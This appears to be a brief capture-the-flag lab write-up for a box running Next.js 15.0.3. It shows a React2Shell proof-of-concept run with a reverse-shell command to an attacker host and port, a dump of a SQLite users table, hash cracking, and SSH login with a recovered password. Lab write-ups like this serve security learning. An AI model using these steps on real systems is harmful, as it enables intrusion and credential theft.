R****

Nmap

PPP ? - 3000

Wappalyzer shows NextJS version 15.0.3 and we find an exploit for React2Shell

It took a bit of searching for a python version as a lot of the pocs were for node/npm

After trying it with a basic "id" command and working, lets now do a reverse shell

python3 react2shell-poc.py -t http://10.129.245.214:3000 --revshell --lhost 10.10.14.195 --lport 4444

And we're in as user "node"

we can see theres an .env file and a db file. the .env file contents tell us its sqlite db so we can now enumerate it

sqlite3 reactor.db
.tables
.schema
SELECT * from users;

We put in the hashes into https://crackstation.net/ and get a hit for engineer user but not admin

And now we can ssh into engineer user with password: reactor